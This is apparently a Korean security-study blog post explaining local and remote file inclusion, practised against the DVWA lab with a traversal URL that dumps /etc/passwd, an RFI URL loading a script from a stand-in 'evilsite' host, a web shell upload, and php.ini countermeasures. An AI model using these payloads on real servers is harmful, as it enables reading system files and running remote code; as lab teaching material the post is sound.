블로그의 모든 내용은 학습 목적으로만 사용하세요.
불법적인 행위에 대한 모든 책임은 당사자에 있습니다.
● File Inclusion
file inclusion: 파일 삽입 취약점
~> 공격자가 악성 서버 스크립트를 전달, 해당 페이지를 통해 악성코드가 실행되도록 한다.
악성 스크립트가 삽입되는 위치에 따라 분류
XSS / CSRF <~ 사이트(홈페이지)
LFI(Local File Inclusion) : 서버 내부에 존재하는 파일을 실행.
~> 공격자가 공격 대상 서버에 업로드되어 있는 파일을 실행
ex) include, require 등의 외부파일을 URL형식으로 읽어올 수 있도록 하는 함수가 활성화된 페이지 확인
RFI(Remote File Inclusion) : 서버 외부에 존재하는 파일을 실행.
~> 경로 제한, 파라미터 변조하는 등 필터링의 부재로 경로접근, 파일 실행, 외부 파일 다운로드 등 다양
ex) 원격지 웹 쉘 경로 : http://10.200.0.10/hacker/webshell.php
~> 공격할 대상 페이지 URL의 파라미터에 원격지 웹 쉘 경로 삽입
(CSRF 예제)
다운로드 링크입니다.
Click!
● 실습
LFI

: http://www.dvwa.com/vulnerabilities/fi/?page=include.php
~> /var/www/html/dvwa/vulnerabilities/fi/ 디렉터리에 있는 include.php 파일을 호출
http://www.dvwa.com/dvwa/vulnerabilities/fi/?page=파일명.php
--------- : BruteForce한다면...

: http://www.dvwa.com/vulnerabilities/fi/?page=./help/help.php
~> 서버 내부에 있는 파일을 실행
LFI : http://www.dvwa.com/vulnerabilities/fi/?page=../../../../../../../etc/passwd
----------------------------------------- : 서버 내부 파일 호출
------- : 파일 호출(내부 파일 호출용으로 사용)

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin libstoragemgmt:x:998:995:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin colord:x:997:994:User for colord:/var/lib/colord:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin saned:x:996:993:SANE scanner daemon user:/usr/share/sane:/sbin/nologin gluster:x:995:992:GlusterFS daemons:/run/gluster:/sbin/nologin saslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin abrt:x:173:173::/etc/abrt:/sbin/nologin rtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin pulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin radvd:x:75:75:radvd user:/:/sbin/nologin chrony:x:993:988::/var/lib/chrony:/sbin/nologin unbound:x:992:987:Unbound DNS resolver:/etc/unbound:/sbin/nologin qemu:x:107:107:qemu user:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin geoclue:x:991:985:User for geoclue:/var/lib/geoclue:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin sssd:x:990:984:User for sssd:/:/sbin/nologin setroubleshoot:x:989:983::/var/lib/setroubleshoot:/sbin/nologin gdm:x:42:42::/var/lib/gdm:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin gnome-initial-setup:x:988:982::/run/gnome-initial-setup/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin geum:x:1000:1000:risut:/home/geum:/bin/bash apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin risut:x:1001:1001:risut2:/home/risut:/bin/bash risut2:x:1002:1002::/home/risut2:/bin/bash mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin xe:x:1003:1003::/home/xe:/bin/bash wp:x:1005:1005::/home/wp:/bin/bash joomla:x:1006:1006::/home/joomla:/bin/bash named:x:25:25:Named:/var/named:/sbin/nologin risut1:x:1007:1007::/home/risut1:/bsin/nologin
RFI
RFI:http://127.0.0.1/dvwa/fi/?page=http://www.evilsite.com/evil.php
------------------------------- : 서버 내부 파일 호출
------ : 파일 호출(외부 파일 호출용으로 사용)
-----------------------------------------------
외부 서버의 악성코드를 호출

: 파일을 임의로 업로드 할 수 있다.
../../hackable/uploads/image.jpg succesfully uploaded!
현재의 사이트 경로값
: http://192.168.0.9/dvwa/vulnerabilities/upload/#
서버에서의 경로값
: /var/www/dvwa/vulnerabilities/upload/
* 대응책
1)
관리자는 소스코드 상 include, require 등의 구문/함수가 존재하는지 사전 검증, 사용자 입력값을 통한 원격 파일 접근을 차단해야함.
- php.ini 파일에서, allow_url_fopen = Off 및 allow_url_include = Off 설정을 통해 외부 사이트의 악성 스크립트 파일을 URL 형태로 include 되지 않도록 함
include:오류 발생 시 에러 메세지를 출력 후, 스크립트를 계속해서 실행
require:오류 발생 시 에러 메세지를 출력 후, 스크립트 실행 중지
2)
단순 접근 차단 외, 경로 변경에 대한 방지(경로 이동 문자열 필터링) 및 에러 구문 노출 방지(추가 정보 습득에 대한 방지)를 적용하여, 보안을 강화함
- php.ini에서 display_errors = Off 설정 시, 에러구문 노출되지 않음
- 지정 디렉터리 외부로 이동할 필요가 없으므로, 경로 변경 등에대한 문자가 전달 되었을 경우, 이스케이프 처리
악성코드 업로드
악성코드 : kong.php.gz

: ../../hackable/uploads/kong.php.gz succesfully uploaded!

: 업로드 확인

: 압축 해제 후 kong.php파일인 악성코드를 확인할 수 있다.
실행 결과

'보안 공부' 카테고리의 다른 글
| 좀비 pc (0) | 2023.12.14 |
|---|---|
| 정보수집 관련 툴 정리 (0) | 2023.12.14 |
| Command Injection (0) | 2023.12.14 |
| MSF (0) | 2023.08.07 |
| 주요정보통신보안_Windows (0) | 2023.08.01 |